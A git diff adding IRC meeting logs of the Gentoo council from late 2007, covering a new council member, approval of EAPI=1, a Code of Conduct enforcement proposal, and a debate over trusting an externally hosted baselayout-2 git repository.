+20:12 <@amne> jokey: strange, but as long it works for everyone else :-)
+20:12 <@lu_zero> cough...
+20:13  * lu_zero is alive
+20:13 <@lu_zero> distracted but alive...
+20:13 < NeddySeagoon> Flameeyes, thank you
+20:13 -!- Netsplit over, joins: musikc, mpagano__, zxy_64, genone
+20:13 <@Flameeyes> [I remembered it easily, it was just before I left :)]
+20:13 <@amne> gentoofan23 just pointed out there still was some confusion: gentoofan23> amne, the time is 15:12 EST right now whereas the e-mail said 16:00 EST so maybe that explains it..
+20:14 <@dberkholz> well, that means we'll have 5 of 7 people
+20:14 <@lu_zero> legal/solar time mismatch?
+20:14 <@Flameeyes> [21:10] [Whois] Betelgeuse has been idle for 20 hours, 0 minutes, and 20 seconds.
+20:14 <@Flameeyes> Betelgeuse seems not around
+20:14 <@dberkholz> the other two should've paid closer attention
+20:15 <@Flameeyes> mike will probably appear midway through the meeting as usual
+20:15 <@dberkholz> we might as well move on, today will be primarily discussion
+20:15 <@lu_zero> ok
+20:15 <@amne> works for me
+20:15 <@dberkholz> first item requires no voting
+20:15 <@Flameeyes> fine
+20:15 <@dberkholz> we're welcoming jokey to the council, filling the spot left vacant by uberlord
+20:16 <@Flameeyes> and I lost my liason :)
+20:16 <+jokey> poor Flameeyes ;)
+20:16 <@lu_zero> eh...
+20:16 <@dberkholz> so, welcome jokey!
+20:16 <@dberkholz> how do we get the ops status fixed?
+20:17 <+jokey> tomaw should be able to
+20:17 < tomaw> Hi
+20:17 <@Flameeyes> /tomaw access #gentoo-council add jokey 30
+20:17 <@Flameeyes> :P
+20:17 < tomaw> You people should really equip yourselves to do this on your own.
+20:18 < tomaw> Let me check, as I probably shouldn't be doing it without a nod from the right people
+20:18 <@lu_zero> hmm
+20:18 <@amne> vapier is listed as channel contact, he should be able to do it
+20:18 < tomaw> yeah, he can do it, but noone else (bar staff) can
+20:18 <@dberkholz> tomaw: aren't we the right people? =P
+20:19 <@lu_zero> what about having all of us marked as contact/with an higher level?
+20:19 < tomaw> No, freenode requires that the group contact ask staff.  group contacts are currently phreak, christel and whoever your recruitment lead is now
+20:19 <@dberkholz> you can only add people to levels below your own
+20:19 <@Flameeyes> lu_zero, beside owner and staff, anyone else can add up to (hislevel-1)
+20:19 < fmccor> tomaw, Betelgeuse is.
+20:19 <@amne> uhm
+20:20 <@amne> dberkholz: If they accept and the current Council unanimously accepts the new person, they get the position with a 'reduced' term such that the yearly elections still elect a full group.
+20:20 < tomaw> fmccor: that's the guy!
+20:20 <@Flameeyes> fmccor, let's get someone who's around, don't we? :P
+20:20 <@amne> dberkholz: doesn't that mean we actually need to vote on jokey?
+20:20 < fmccor> tomaw, phreak might be.
+20:21 < tomaw> I pinged him already :)
+20:21 <@dberkholz> amne: it certainly reads that way. i wonder if we already effectively did so on the mailing list thread about it
+20:21 <+jokey> just do again so we're set ;)
+20:21 <@Flameeyes> if we were all around we could vote on it, but I doubt Betelgeuse is around now
+20:22 <@lu_zero> we could just use the email...
+20:22 <@amne> works for me
+20:22 <@lu_zero> next item?
+20:23 <@dberkholz> the daylight savings change mentioned
+20:23 <@dberkholz> announcement email was wrong, so i say we don't give slacker marks this week
+20:24 <@amne> yupp
+20:24 <@lu_zero> fine
+20:25 <@Flameeyes> oky doky
+20:25 <@amne> vapier: plz fix your announcement mail kthx :-)
+20:25 <@dberkholz> alright, next item
+20:26 <@dberkholz> approving EAPI=1 for use in the main tree
+20:26 <@dberkholz> i wish Betelgeuse were here for this because he had some points
+20:27 <@lu_zero> dberkholz which portage version won't be able to handle it?
+20:27 <@dberkholz> portage has supported the EAPI variable for more than a year, and stable portage (2.1.3.12) now has EAPI=1 support.
+20:27 <@lu_zero> and how old would it be?
+20:27 <@lu_zero> fine to start using it then
+20:28 <@dberkholz> documentation is in PMS, ebuild and emerge manpages, but it should be added to the devmanual and dev handbook
+20:28 <@lu_zero> I see
+20:28 <@Flameeyes> what were the finalised features in EAPI=1?
+20:28 <@dberkholz> This release is the first to have support for EAPI-1 (#194876), which includes SLOT dependencies (#174405), IUSE defaults (#174410), and ECONF_SOURCE support for the default src_compile function (#179380).
+20:29 <+jokey> slot deps and iuse defaults being the more important parts
+20:29 <@Flameeyes> I'm fine for it just at slot deps
+20:29 <@dberkholz> what EAPI=1 means is already finalized, we're just saying it's fine to start using it in gentoo-x86.
+20:30 <@Flameeyes> yeah
+20:30 <@dberkholz> i talked to zmedico yesterday and he thought it would be a good idea for the council to approve it
+20:30 <@lu_zero> it's fine
+20:30 <@amne> ++
+20:30 <+jokey> ack
+20:31 <@Flameeyes> dberkholz, your vote?
+20:31 <@dberkholz> yes from me
+20:31 <@Flameeyes> so it's fine for five out of seven (two missing)
+20:33 <@dberkholz> alright, last agenda item is discussion of the CoC enforcement proposal
+20:33 <@dberkholz> i got it together too late for a vote
+20:33 -!- phreak`` [n=phreak``@gentoo/developer/phreak] has joined #gentoo-council
+20:33 <@lu_zero> dberkholz I read it and seems fine
+20:34 <@lu_zero> probably I should take a bit of time to rethink it
+20:34 <+jokey> the idea of it is good imho
+20:34 <@amne> i also like it
+20:35 <@Flameeyes> I join lu_zero
+20:37 -!- mode/#gentoo-council [+o jokey] by ChanServ
+20:37 <@lu_zero> oh =)
+20:37 <@amne> duck and cover!
+20:38 <@amne> so, which points from the proposal need specific discussion?
+20:38 -!- phreak`` [n=phreak``@gentoo/developer/phreak] has left #gentoo-council ["................. do I need to say anything else ?"]
+20:39 -!- Netsplit anthony.freenode.net <-> irc.freenode.net quits: musikc, mpagano__, genone, zxy_64
+20:39 <@dberkholz> amne: you're probably in the best position to talk about whether my understanding of the situation was correct
+20:39 <@jokey> I think one valid point was the timezone problem
+20:39 -!- Netsplit over, joins: musikc, mpagano__, zxy_64, genone
+20:39 <@dberkholz> yeah, but there are distinct times of day that are much more active than others
+20:40 <@amne> yeah, i think that's the main point, i'll take a quick look at the mails agani
+20:40 <@dberkholz> i don't think we need to try for 100% coverage of people watching everywhere every second
+20:40 <@amne> i also like the idea of having a test run as suggested - during that time we can also evaluate how the coverage works
+20:40 <@dberkholz> we just need to show that we will enforce it if it's violated
+20:40 <@lu_zero> there were violations lately?
+20:41 < fmccor> lu_zero, off and on --- some things devrel sees now are really CoC issues in my opinion.
+20:42 <@amne> fmccor: agreed
+20:42 < fmccor> lu_zero, but rather low volume to us.
+20:42 <@dberkholz> i'm not sure how closely y'all read it for devrel/userrel connections, i did add a line about that
+20:42 <@lu_zero> fmccor so there isn't a dire need for them
+20:43 <@lu_zero> _so_ nobody would start talking about us putting them up in hurry because of crisis
+20:43 <@amne> lu_zero: still things may explode again some day, so we shouldn't wait until then
+20:43 <@jokey> lu_zero: just that history has proven we could use it from time to time
+20:43 <@Flameeyes> agreed with amne
+20:43 <@dberkholz> my earnest hope is that we can create a group of people who spend 99% of the time taking no actions
+20:43  * jokey resyncs brainlink with amne
+20:44 <@amne> jokey: get out of my head! :-P
+20:44 <@amne> dberkholz: yes
+20:44 <@lu_zero> amne the main point is the second
+20:44 <@Flameeyes> dberkholz, and 1% doing drills organised by us councilers?
+20:44 <@dberkholz> heh. they could look over old irc logs. =P
+20:44 < fmccor> lu_zero, remember, devrel typically does not watch for these very quick things unless we happen to see them in passing.
+20:44 <@lu_zero> since there isn't need we can approve/appoint them
+20:45 <@lu_zero> s/need/immediate need/
+20:46 < NeddySeagoon> My hope is that the council will back the body while they work - and hold a 'lessons learned' after every incident
+20:47 <@amne> good idea
+20:47 <@jokey> I don't see a reason to not back stuff up atm, but we'll how stuff goes
+20:48 <@amne> otherwise the people execute CoC don't know what the council wants in the first place
+20:48 < jmbsvicetto> dberkholz: An important point about userrel, Is that userrel hasn't been doing the "user control" role for a long time
+20:48 <@lu_zero> why not?
+20:48 < jmbsvicetto> dberkholz: userrel can definitely have that role, but it's something that has been lost for some time
+20:48 <@dberkholz> that makes me think of a couple of points. first, the council won't back up decisions it disagrees with. second, the council needs to be careful not to overreact
+20:48 <@Betelgeuse> hmm it's winter time
+20:48 <@Betelgeuse> damn it
+20:48 <@lu_zero> hi Betelgeuse
+20:48 <@Betelgeuse> stupid UTC
+20:49 <@amne> Betelgeuse: welcome
+20:49 <@jokey> heya Betelgeuse
+20:49 <@dberkholz> Betelgeuse: http://dev.gentoo.org/~dberkholz/summary-20071108.txt
+20:49 <@dberkholz> summary so far
+20:49 -!- Netsplit anthony.freenode.net <-> irc.freenode.net quits: musikc, mpagano__, genone, zxy_64
+20:49 <@amne> dberkholz: agreed, but they still should back up the team doing the work, even if they disagree with a single decision
+20:50 <@dberkholz> and on the other side of that, the team needs to handle its actions appropriately
+20:50 -!- Netsplit over, joins: musikc, mpagano__, zxy_64, genone
+20:50 <@dberkholz> doing the right thing in the wrong way will ruin it
+20:50  * amne nods
+20:50 < NeddySeagoon> dberkholz, My point is that the council supports any action in progress until its concluded, so we don't have incidents like the one that killed proctors
+20:50 < igli> amne's point is critical though, imo
+20:50 <@Betelgeuse> dberkholz: Did you want my input on something?
+20:50 <@dberkholz> Betelgeuse: nah, was just mentioning some points you brought up about EAPI=1
+20:51 <@amne> i guess a --dry-run phase would help a lot with these issues
+20:51 < jmbsvicetto> lu_zero: I think that role hasn't been carried by userrel because the current members have focused more on other projects
+20:51 < NeddySeagoon> dberkholz, The council 'interfering' in a work in progress will undermine the team
+20:51 <@Betelgeuse> dberkholz: Well it's documented in the current PMS version so that's good.
+20:52 <@dberkholz> NeddySeagoon: i think that will be difficult if not impossible with the change to only private actions
+20:52 -!- Tabasco [i=rhcp@gateway/tor/x-91a87846c415d662] has quit [Read error: 104 (Connection reset by peer)]
+20:53 <@dberkholz> all the team would do release is anonymous statistics; X people modded for 6 hours; Y for 12 hours; etc
+20:53 <@dberkholz> s/ do//
+20:53 < NeddySeagoon> dberkholz, Thats a change I welcome - much procting was done in private anyway
+20:55 <@dberkholz> Betelgeuse: while you're here; do you support just adding jokey to council? we need unanimous
+20:55 <@Betelgeuse> dberkholz: sure if he is the next one on the list
+20:55 <@Betelgeuse> I thought that was already decided by the last counci
+20:56 <@amne> i think we should also discuss which tools are available for moderation or even needed to implement
+20:56 <@dberkholz> Betelgeuse: the last council said that the next person would be offered the spot, contingent upon unanimous council approval
+20:56 <@dberkholz> amne: yes that's very true, i thought about that and didn't add anything to the proposal
+20:57 <@Betelgeuse> dberkholz: okay
+20:58 <@amne> last proctors had some mailing list interface (which was done by robbat2 iirc) to block emails from people, was there anything else?
+20:59 <@jokey> I'm with the mail that stated we don't need another set of moderation for irc and forums where it is in place already
+20:59 <@jokey> so we don't need more than this interface imho
+20:59 <@amne> other stuff (that's not implemented, but i think was planned) would have been delaying messages until someone approves they are flame free
+21:00 <@amne> well, that feature could be potentially useful - otoh if mailing list bans are short term it may not be worth the effort to implement
+21:00 <@jokey> ack
+21:00 -!- gentoofan23 [n=gentoofa@gentoo/contributor/gentoofan23] has quit [Client Quit]
+21:01 <@lu_zero> ++
+21:02 <@Flameeyes> [I'm not saying anything because I'm fine for what you're saying :)]
+21:02  * Philantrop wonders what jokey and lu_zero ack'ed - "potentially useful" or "not worth the effort".
+21:02 <@amne> also the bans would need to be unset manually after the time of ban/silencing/foo is over
+21:02 <@dberkholz> jokey: yep, mailing lists and #gentoo-dev are the main things
+21:02 <@amne> this means people should also be there to unban people in a timely manner
+21:02 <@dberkholz> might be able to script that sorta thing
+21:03 <@amne> dberkholz: atm the mailing list has a web-interface for that
+21:03 <@amne> but that's all technicalities that i think can be solved. i think it would be best to ask robbat2 about these things, too
+21:03 <@jokey> if needed, scripting it shouldn't be too hard iirc
+21:03 < jmbsvicetto> dberkholz: I think that would require some sort of cron for that
+21:04 <@amne> perhaps he can easily implement a self-destruct timer for bans
+21:04 < igli> at would be better
+21:04 <@amne> ban amne@gentoo.org for 12 hours -> done
+21:04 <@dberkholz> that's really just a detail that can be figured out after we decide whether to do this at all
+21:04 <@amne> nod
+21:04 <@dberkholz> let whoever's doing the work deal with it
+21:04 <@jokey> yup
+21:05 < NeddySeagoon> amne, it directs mail to /dev/null just now
+21:05 <@amne> NeddySeagoon: ack
+21:05 <@amne> is anyone aware of any other big issues that we haven't discussed yet?
+21:06 <@dberkholz> regarding CoC, or in general?
+21:06 <@amne> CoC
+21:08  * jokey assigns silence to None ;)
+21:08 <@dberkholz> i wrote down all my ideas, so i'm waiting for others to respond. =)
+21:08 < fmccor> Is bugzilla covered by it?
+21:09 <@dberkholz> anywhere without existing moderation should be, so i'd say so
+21:09 <@dberkholz> which i would interpret as "anything gentoo except for #gentoo and forums"
+21:09  * fmccor had guessed that, but did not recall.
+21:09 <@amne> dberkholz: i like the proposal (including the things that have been discussed now)
+21:09 < igli> i don't think having one strong leader is a good idea. better a strong collective imo.
+21:09  * fmccor wanted to hear "yes" :)
+21:10 <@amne> i think it would be good to continue in that direction and finalize it
+21:10 < NeddySeagoon> dberkholz I was expecting your paper to be discussed on -project rather than -council.  As an ex proctor, I intend to provide the benefit of my experiance.  I've just been reading the thread
+21:11 <@amne> discussing it further on -project sounds like a good idea to me
+21:11 <@lu_zero> we could try -project if the noise ratio increase we'll fallback on -council
+21:11 <@lu_zero> deadlines for it?
+21:11 < NeddySeagoon> amne, That was what the last council meetting decided
+21:11 < igli> project is pretty quiet ;-)
+21:12 <@dberkholz> project list had an opportunity to express its interests, which it did
+21:12 <@dberkholz> from those interests i created a concrete proposal
+21:12 <@dberkholz> i don't think that concrete details are well-designed by committees
+21:13 <@dberkholz> i do think basic interests are, though
+21:13 < NeddySeagoon> dberkholz, agreed
+21:13 <@dberkholz> so if any of the basic interests are incorrect or need refinement, i'd be happy to hear about that wherever
+21:13 < jmbsvicetto> dberkholz: One word of caution, your comment of everything gentoo except #gentoo and forums caused a lot of grievance for proctors
+21:13 <@dberkholz> jmbsvicetto: could you expand on that?
+21:14 < jmbsvicetto> dberkholz: Most #gentoo-* irc channels feel they already have a moderation team and are not to keen on having outside interference
+21:14 <@dberkholz> if they want to be an official channel, they have to deal with the CoC
+21:14 < jmbsvicetto> dberkholz: Also, no one has ever been able to come up with a consensous list of official #gentoo-* channels
+21:15 <@dberkholz> whatever's on the IRC channels page
+21:15 <@amne> jmbsvicetto: all #gentoo-* is official
+21:15 <@Flameeyes> ##gentoo-* should be the unofficial ones
+21:15 <@jokey> amne: I don't think so, some are driven by users
+21:15 <@amne> jmbsvicetto: if you want it to be non-official, it's ##gentoo-*
+21:15 <@dberkholz> but certainly this team would need to work with the existing moderation, it doesn't need to take direct action to preempt them
+21:15 <@Flameeyes> [like we have ##gentoo-anime]
+21:15 < jmbsvicetto> dberkholz: I agree, but for instace, #gentoo-userrel, #gentoo-devrel, #gentoo-sparc or #gentoo-pt, just random examples, are not likely to welcome that interpretation
+21:16 <@lu_zero> Flameeyes we should have #gentoo-anime
+21:16 <@dberkholz> are they part of gentoo? if so, the CoC affects them.
+21:16 <@Flameeyes> lu_zero, let's keep it unofficial ;)
+21:16 <@dberkholz> we just need to figure out the best way to deal with that
+21:16 <@Flameeyes> dberkholz, regional channels are a problem though, that I agree with
+21:16 <@Flameeyes> [it so happens I'm one of the #gentoo-it moderators btw]
+21:17 <@dberkholz> that's why the team would liaise with existing moderation
+21:17 <@amne> yes
+21:17 < jmbsvicetto> amne: ok, though question then, is #gentoo-xeffects an official gentoo channel? Also, has freenode changed their policy? Last time we had this discussion the gentoo contacts left it very clear that is was impossible to refuse anyone from registering #gentoo-my-channel
+21:18 <@jokey> tomaw: have some up-to-date details there ^^
+21:18 <@lu_zero> jmbsvicetto if they have the gut to register it as different project
+21:18 <@amne> jmbsvicetto: yes; not that i am aware of; i've seen channels being removed because they were not official and used # instead of ##
+21:18 <@lu_zero> and we aren't knocking them with a trademark hammer
+21:18 <@lu_zero> sure
+21:19 <@amne> lu_zero: yeah, it were some special cases where people used the official #gentoo-* to be abusive
+21:19 <@amne> lu_zero: don't remember the exact details any more
+21:19 <@amne> i don't think anyone who does some good work will get slapped by us for not being official enough or whatsoever
+21:19 < jmbsvicetto> So I'm not misunderstood, I do agree that #gentoo channels should be official channels, but that is not the case currently and freenode doesn't seem to be willing to support that claim
+21:20 <@amne> jmbsvicetto: how come?
+21:20 < jmbsvicetto> amne: well, if they will allow anyone to register any #<whatever> channel, how can you enforce that #gentoo-* channels are official gentoo channels?
+21:21 <@jokey> from what I know, at least within europe you can't enforce trademark over channel names, I think there was something with #debian.de in the past...
+21:21 <@amne> jmbsvicetto: freenode staff can get it back
+21:21 < jmbsvicetto> amne: But I think that working with existing teams and working with people that are doing "good work" is the best way
+21:21 <@amne> jmbsvicetto: yes
+21:22 <@lu_zero> agreed
+21:22 < jmbsvicetto> However, I urge you to have a "crystal clear" definition of where you want/expect that team to work
+21:22 <@amne> jmbsvicetto: i think the only problem would be someone managing an official (#gentoo-*) channel and refusing to accept CoC at all by allowing attacks and other nasty stuff
+21:23 < NeddySeagoon> amne, like in -dev ?
+21:23 < jmbsvicetto> amne: You were on the proctors team, so you know the answer to that ;)
+21:23 <@amne> NeddySeagoon: #gentoo-dev?
+21:23 <@amne> jmbsvicetto: heh
+21:23 < NeddySeagoon> amne, yes. With everone an op, its impossible to enforce
+21:24 < tomaw> jmbsvicetto: it's difficult to refuse them being registered, but a contact could reclaim it if they felt they should
+21:24 < tomaw> jmbsvicetto: that's freenode policy - I have no idea of gentoo policy
+21:24 <@amne> NeddySeagoon: #gentoo-dev has no clearly defined people in charge, does it? (so it's up to the new team to manage it imho)
+21:25 <@lu_zero> everybody should be in charge
+21:25 < NeddySeagoon> lu_zero, everbody == nobody
+21:25 <@dberkholz> in general it's sort of devrel, since they're the ones who add/remove ops
+21:26 < jmbsvicetto> tomaw: At least that's what I gathered from my talks with some gentoo contacts while I worked on the proctors
+21:26 < NeddySeagoon> Its a detail to think about
+21:26 <@jokey> indeed
+21:26 < jmbsvicetto> amne: I agree, but you should expect resistance to a "controlled" #gentoo-dev
+21:27 <@amne> i think #-dev should fall under the same treatment as the mailing list
+21:27 < tomaw> jmbsvicetto: yes, the gentoo project registered with freenode and claimed #gentoo-* channels.  Currently, it's possible for anyone to register a channel in that namespace, but it can still be turned over the to gentoo project on request.
+21:27 < kingtaco|laptop> not really, tell them to go somewhere else
+21:27 < kingtaco|laptop> freedom of speech(if we even have it) is the freedom to say what you want, not where you want
+21:27 < jmbsvicetto> tomaw: Thanks for clearing that
+21:27 <@amne> jmbsvicetto: i told you :-P
+21:28 < jmbsvicetto> amne: :)
+21:28 < tomaw> jmbsvicetto: note that a single project cannot own #gentoo-* and ##gentoo-*, so gentoo has no control over ##gentoo-* channels
+21:30 <@jokey> despite talking on details, are there big points we missed?
+21:31 <@amne> seems everyone's happy (or fallen asleep)
+21:31 <@amne> perhaps it hasn't been said explicitely, but from my understanding, if someone gets into trouble frequently, issues will be escalated to devrel, right?
+21:32 <@lu_zero> I think it's sane
+21:32 <@jokey> amne: devrel or userrel
+21:32 <@amne> jokey: right
+21:33 <@dberkholz> my presumption is that successive actions against the same person will eventually extend to the 3-day cutoff that means they need council approval and forwarding to devrel
+21:33 <@amne> dberkholz: ack
+21:33 <@dberkholz> but i didn't really allow for someone getting a million 6-12 hour blocks
+21:33 <@amne> heh
+21:33 <@dberkholz> maybe i should expressly disallow that, as it's the same "warnings go on forever" problem that means nothing ever gets fixed
+21:34 <@amne> hm
+21:35 <@amne> personally i'd prefer loose guidelines and individual treatment depending on the situation
+21:35 <@amne> but if someone is warned and repeats his behaviour, action should follow
+21:36 <@lu_zero> ok
+21:36 <@dberkholz> http://dev.gentoo.org/~dberkholz/summary-20071108.txt has my summary of the discussion so far
+21:36 <@dberkholz> we should wrap it up soon and send back to the -council list
+21:38 <@lu_zero> do we have anything to discuss about baselayout2 and uberlord?
+21:39 <@amne> dberkholz: summary looks good to me
+21:39 <@Betelgeuse> lu_zero: Not much if Uberlord contains to maintain it  externally
+21:39 <@Betelgeuse> lu_zero: Otherwise we do need to find someone who works on it.
+21:39 <@lu_zero> Betelgeuse BSD license switch included?
+21:39 <@dberkholz> it wasn't a switch, it was an addition
+21:39 <@dberkholz> so dual GPL/BSD
+21:40 <@dberkholz> both of which are FSF free, fwiw, so fits our social contract fine
+21:40 <@lu_zero> held on git on our infrastructure?
+21:40 <@dberkholz> not sure about the infrastructure bit. anyone know?
+21:41 <@Flameeyes> I think the idea was to use our git
+21:41 <@Betelgeuse> I think infra does not allow commit access to non devs but I could be wrong.
+21:41 <@dberkholz> i'm also unsure how much it matters; i suspect other distros use init systems they don't personally keep on their infra
+21:42 <@jokey> imho it doesn't matter where it resides as long as someone packages it for gentoo ;)
+21:42 <@Betelgeuse> dberkholz: yeah like upstart
+21:42 <@Flameeyes> dberkholz, yeah doesn't really matter, it just means we have to split baselayout (base files) from the rc system
+21:42 <@Flameeyes> and that was probably a good idea to begin with
+21:42 <@lu_zero> as long it doesn't break for us...
+21:43 <@dberkholz> Flameeyes: i'm sure upstream would be glad to include distro files for any distros that wish to use it. =)
+21:43 <@Flameeyes> dberkholz, I think Roy's idea was splitting them, anyway I'll certainly follow up with him about it as I do have interest in it
+21:43 <@dberkholz> sure, i don't know the details
+21:43 <@lu_zero> ok
+21:44 <@dberkholz> anyway it seems that baselayout-2 remains in good hands and maintained
+21:45 <@dberkholz> anyone got another open floor topic?
+21:46 <@jokey> nox-Hand: you wanted?
+21:46 < kingtaco|laptop> what about infra?
+21:46 <@dberkholz> kingtaco|laptop: is there something in particular about infra you'd like to bring up?
+21:47 < kingtaco|laptop> nope, just cought my eye
+21:47 < kingtaco|laptop> you guys were talking about infra
+21:47 <@dberkholz> kingtaco|laptop: oh, we're just not exactly sure where baselayout-2 repository will end up
+21:47 <@amne> kingtaco|laptop: we decided infra needs to provide the ice cream machine i promised in the election :-)
+21:47 < kingtaco|laptop> amne, sure, just send me the money
+21:47 <@amne> heh
+21:47 <@lu_zero> kingtaco|laptop we were thinking about overhauling one of the boxes
+21:47 < kingtaco|laptop> dberkholz, yeah, thats a problem.
+21:48 < jmbsvicetto> amne: Please put it next to bender. kthxbye :P
+21:48 < kingtaco|laptop> lu_zero, ?
+21:48 <@dberkholz> kingtaco|laptop: i see it as an open question, certainly
+21:48 <@lu_zero> kingtaco|laptop for the icecreams
+21:48 <@dberkholz> it's fine on any site that hosts git, as far as i'm concerned
+21:48 < kingtaco|laptop> lu_zero, no recycled icecream please
+21:49 <@lu_zero> dberkholz so far repo.or.cz
+21:49 < kingtaco|laptop> dberkholz, tbh, I don't know if that's good
+21:49 <@dberkholz> kingtaco|laptop: why?
+21:50 < kingtaco|laptop> well, put something as critical as baselayout on anything other than our hardware and it's hard to trust.  that said the guy who write the stuff is no longer a dev so it's hard to trust him as well
+21:50 <@lu_zero> kingtaco|laptop solutions?
+21:50 <@jokey> it's open source so you take a look at the diffs
+21:50 <@dberkholz> kingtaco|laptop: how about all the other code on your system?
+21:50 < kingtaco|laptop> whoever is importing it into gentoo is going to have to keep a close eye on whats going on
+21:50 <@lu_zero> beside abducting roy
+21:50 < kingtaco|laptop> lu_zero, sadly, no
+21:50 < kingtaco|laptop> dberkholz, well, baselayout is critical
+21:50 < kingtaco|laptop> other stuff is not
+21:51 <@dberkholz> baselayout is just as critical as glibc, gcc, coreutils
+21:51 <@jokey> ack
+21:51 < jmbsvicetto> I agree with kingtaco|laptop in particular if we take into account the decision regarding the PMS
+21:51 <@lu_zero> still we can keep a local git
+21:51 <@lu_zero> and pull from roy from time to time
+21:51 <@dberkholz> and yes, it's git so we can do whatever we want
+21:51 <@dberkholz> we can maintain our own patchset on top, we can track his branch, we can fork off, whatever
+21:52 < kingtaco|laptop> I'm not saying not do it, I'm saying whichever gentoo dev is the one who is importing it is going to have to audit each and every import.  there is just too much chance for an exploit.  projects like coreutils/gcc/glibc have built up a reputation which is why they are different
+21:52 <@jokey> and not trusting him because he just is no longer a dev tastes very very bad imho
+21:52 <@dberkholz> that's disgusting
+21:52 <@Betelgeuse> I would trust Uberlord lot more than new devs.
+21:53 <@dberkholz> roy's built a reputation too, and quitting gentoo does not affect my view of it in any way
+21:53 < kingtaco|laptop> would you trust whatever random host he hosts the repo on?
+21:53 < kingtaco|laptop> I know I wouldn't
+21:53 <@dberkholz> i trust sha512
+21:53 <@jokey> if he uses git ans signs it, then yes
+21:53 <@jokey> *and
+21:53 < kingtaco|laptop> SCM doesn't matter here
+21:53 < kingtaco|laptop> signs it perhaps
+21:54 < kingtaco|laptop> however, you're still trusting uberlord to audit his own code before he releases
+21:54 <@dberkholz> how's that different? =)
+21:54 <@amne> (i have to slack off and take care of some stuff, hope no one minds)
+21:54 < kingtaco|laptop> it's where you put the trust
+21:55 < igli> isn't that what the testing releases are for?
+21:55 -!- desultory [n=dean@gentoo/developer/desultory] has joined #gentoo-council
+21:56 < kingtaco|laptop> when it was on gentoo hardware developed by a gentoo dev there was a lot of trust.  now it's on random hardware by a (trusted) ex dev
+21:56 <@jokey> kingtaco|laptop: re trust... we had exploitable code for year(s) on packages. and we controlled the repo and had a gentoo dev maintaining it. so I really don't see a point
+21:56 < kingtaco|laptop> I think you need to consider how it can be attacked before you decide on trivialities like git
+21:56 <@dberkholz> git supports gpg-signed tags and the whole thing is based on sha1 sums
+21:57 < kingtaco|laptop> jokey, packages is not an attack vector for each and every single gentoo install
+21:57 < kingtaco|laptop> baselayout is
+21:58 < kingtaco|laptop> dberkholz, I don't know enough about git to comment on it's trustworthness
+21:59 -!- leio_ is now known as leio
+21:59 < igli> hang on; uber signs it so it's verifiably his code. base-system bring it in and sign off on review, then it goes thru testing. where's the vector?
+21:59 <@dberkholz> the suggestion is that nobody will audit the code, either roy or ebuild maintainers
+21:59 <@dberkholz> and the git host will somehow be the vector
+21:59 <@dberkholz> i'm just asking in #git about that
+22:01 < kingtaco|laptop> when it was on gentoo hardware, you could trust the repo as much as you trusted a combination of gentoos security, arch, and infra teams.  when it's somewhere random, you can't trust that git doesn't have a bug or that the host of the git repo isn't doing something malicious
+22:01 <@dberkholz> i don't think malicious hosts are possible with how git is implemented
+22:02 <@dberkholz> but i'm asking for clarification
+22:02 -!- uberpinguin [n=uberping@unaffiliated/uberpinguin] has quit ["Leaving"]
+22:02 < Philantrop> kingtaco|laptop: Would infra allow non-devs to commit to the repository if it was on Gentoo hardware?
+22:02 < bonsaikitten> apart from bugs in git itself the signing should be as tamper-resistant as any other system
+22:02 < igli> sorry i don't see it; only vector is a bug in gpg, which i agree has happened before
+22:02 < kingtaco|laptop> dberkholz, this is a package that's so important that infra would entertain allowing a baselayout repo for uberloard to use
+22:02 -!- fmccor_ is now known as fmccor|home
+22:03 -!- Ingmar^ [n=ingmar@83.101.12.48] has joined #gentoo-council
+22:03 < kingtaco|laptop> Philantrop, normally no, this is an extrodonary case where I would bring it up with the other infra folks
+22:03 -!- Ingmar [n=ingmar@83.101.12.89] has quit [Nick collision from services.]
+22:04 <@jokey> anyway there are no full rewrites near so a diff shouldn't be hard to look into (at least when looking at last updates)
+22:05 < Philantrop> kingtaco|laptop: Well, if I had anything to say about it, I'd prefer the Gentoo hardware under that circumstances even though I don't think there are any attack vectors but gpg itself.
+22:05 < igli> would be better
+22:05 < kingtaco|laptop> Philantrop, on the surface, I would prefer that too, but infra has to have a pow-wow to look deeper
+22:06 < kingtaco|laptop> dberkholz, jokey can you table this until next month so I have time to talk to infra peeps?
+22:06 <@dberkholz> repo.or.cz is a git hosting site from the git developers, so i guess if you trust git, you can trust the site
+22:06 <@dberkholz> kingtaco|laptop: we're not making any decisions so we have nothing to table
+22:06 < kingtaco|laptop> if we can't do it, then I'll shut up
+22:06 < eroyf> kingtaco|laptop: infra is willing to let uberlord work on baselayout even though he's not a developer?
+22:06 < kingtaco|laptop> eroyf, not exactly
+22:06 < eroyf> then what exactly
+22:07 < kingtaco|laptop> what I proposed is that infra might create a seperate repo for him to use for the sole purpose of his baselayout development
+22:07 < eroyf> so he's going to stay as a developer or what?
+22:08 < kingtaco|laptop> afaik, he quit
+22:08 < kingtaco|laptop> if he's intending on coming back, I don't know about it
+22:08 <@dberkholz> basically the proposal is that we'd become a very limited project-hosting site for non-gentoo devs working on critical gentoo packages
+22:08 < eroyf> or do you create a repo for him to work on and then let someone with an @gentoo.org commit it to the *right* repo?
+22:08 < eroyf> with svn support?
+22:09 < kingtaco|laptop> I don't care about the scm
+22:09 < igli> which other packages are so critical, and not dev'ed by gentoo?
+22:09 < kingtaco|laptop> if I had my way everyone would still use RCS :p
+22:09 < eroyf> PMS for example.
+22:09 < eroyf> which is not a package.
+22:09 < eroyf> but infra simply refused to let non-developers get access to that repo
+22:09 < eroyf> so this is somehow interesting.
+22:09 < igli> if moot
+22:10 < kingtaco|laptop> extremely moot
+22:10 < eroyf> well, i'm looking forward to see what you decide
+22:10 < kingtaco|laptop> ok...
+22:10 <@dberkholz> since we're not going to make any progress at this meeting, let's just adjourn the meeting
+22:11 <@dberkholz> feel free to keep talking about it afterwards
+22:11 -!- igli [n=igli@unaffiliated/igli] has left #gentoo-council ["Have a good one ;-)"]
+22:11 < kingtaco|laptop> I don't have much more to say, I need to talk to my team about it and work out the details.  I'll send you guys an email when infra agrees on something
+22:16 < fmccor|home> A final thanks to dberkholz for his CoC proposal, which I view as great progress.
+22:17 <@dberkholz> thanks fmccor|home, i'm glad it went over fairly well
+22:17 -!- windzor [n=windzor@84.238.69.202] has quit [Remote closed the connection]
+22:18 < fmccor|home> In my opinion, better than "fairly well". :)
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20071213-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20071213-summary.txt
new file mode 100644
index 00000000..3009d30b
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20071213-summary.txt
@@ -0,0 +1,89 @@
+Roll call
+---------
+
+amne         here
+betelgeuse   here
+dberkholz    here
